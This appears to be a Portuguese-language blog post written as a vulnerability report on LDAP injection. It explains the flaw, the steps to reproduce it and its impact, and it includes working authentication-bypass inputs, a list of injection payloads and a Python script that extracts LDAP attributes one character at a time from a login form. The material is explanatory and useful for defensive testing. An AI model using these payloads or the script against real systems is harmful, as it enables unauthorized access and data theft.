Injeção de LDAP

May 03 2023
Uma falha crítica de segurança que expõe o aplicativo a ataques de injeção de LDAP
Resumo: esta vulnerabilidade tem o potencial de causar vazamento de dados, acesso não autorizado e outros problemas graves de segurança. Para proteger os dados do usuário e a integridade do sistema, recomendamos que este problema receba atenção e resolução imediatas.
Desenhado pelo autor

Resumo:

Essa vulnerabilidade tem o potencial de causar vazamento de dados, acesso não autorizado e outros problemas importantes de segurança. Para proteger os dados do usuário e a integridade do sistema, recomendamos que este problema receba atenção e resolução imediatas.

Detalhes da vulnerabilidade:

A injeção de LDAP (Lightweight Directory Access Protocol) é uma técnica de injeção de código que ocorre quando uma entrada de usuário não confiável é incluída diretamente em uma consulta LDAP sem sanitização ou validação adequada.

O aplicativo de destino falhou ao validar adequadamente a entrada fornecida pelo usuário, levando a uma possível vulnerabilidade de injeção de LDAP.

Um invasor pode usar essa fraqueza para alterar consultas LDAP, evitar verificações de autenticação, obter acesso não autorizado a dados confidenciais ou realizar ações prejudiciais.

Componente Afetado:

A vulnerabilidade de injeção de LDAP afeta o módulo de autenticação do aplicativo da web, especificamente o código responsável por processar as credenciais do usuário e autenticar em um servidor LDAP.

Passos para reproduzir:

  1. Identifique um campo no aplicativo que interage com consultas LDAP.
  2. Crie uma entrada maliciosa contendo metacaracteres LDAP, como parênteses, asteriscos ou barras invertidas.
  3. Envie a entrada e observe a resposta do aplicativo.
  4. Observe qualquer comportamento inesperado, mensagens de erro ou recuperação de dados incomum.
  1. O aplicativo permite que um usuário faça login usando seu nome de usuário e senha.
  2. O aplicativo constrói uma consulta LDAP usando o nome de usuário fornecido sem validação de entrada adequada.
  3. Um invasor fornece a seguinte entrada no campo de nome de usuário: “)(cn=))(|(uid=))(|(objectClass=*”
  4. A consulta LDAP resultante torna-se: “(&(cn=))(|(uid=))(|(objectClass=*))(userpassword=[senha fornecida])”
  5. O invasor obtém acesso não autorizado e possivelmente recupera informações confidenciais ou executa outras ações maliciosas.

user=*
password=*
--> (&(user=*)(password=*))
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Os objetos LDAP fornecem várias propriedades por padrão que podem ser usadas para preservar dados. Você pode tentar forçar todos eles para obter essas informações. Há uma lista de atributos LDAP padrão aqui.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

*
*)(&
*))%00
)(cn=))\x00
*()|%26'
*()|&'
*(|(mail=*))
*(|(objectclass=*))
*)(uid=*))(|(uid=*
*/*
*|
/
//
//*
@*
|
admin*
admin*)((|userpassword=*)
admin*)((|userPassword=*)
x' or name()='username' or 'x'='y

Impacto:

Um invasor pode usar essa falha para alterar o formato de uma consulta LDAP e emitir quaisquer comandos LDAP de sua preferência.

As consequências podem incluir acesso não autorizado a dados privados, manipulação de dados ou até mesmo execução remota de código, dependendo dos direitos associados à conta do serviço LDAP.

A segurança e a privacidade do aplicativo de destino podem ser seriamente comprometidas se essa vulnerabilidade for explorada com eficiência.

Twitter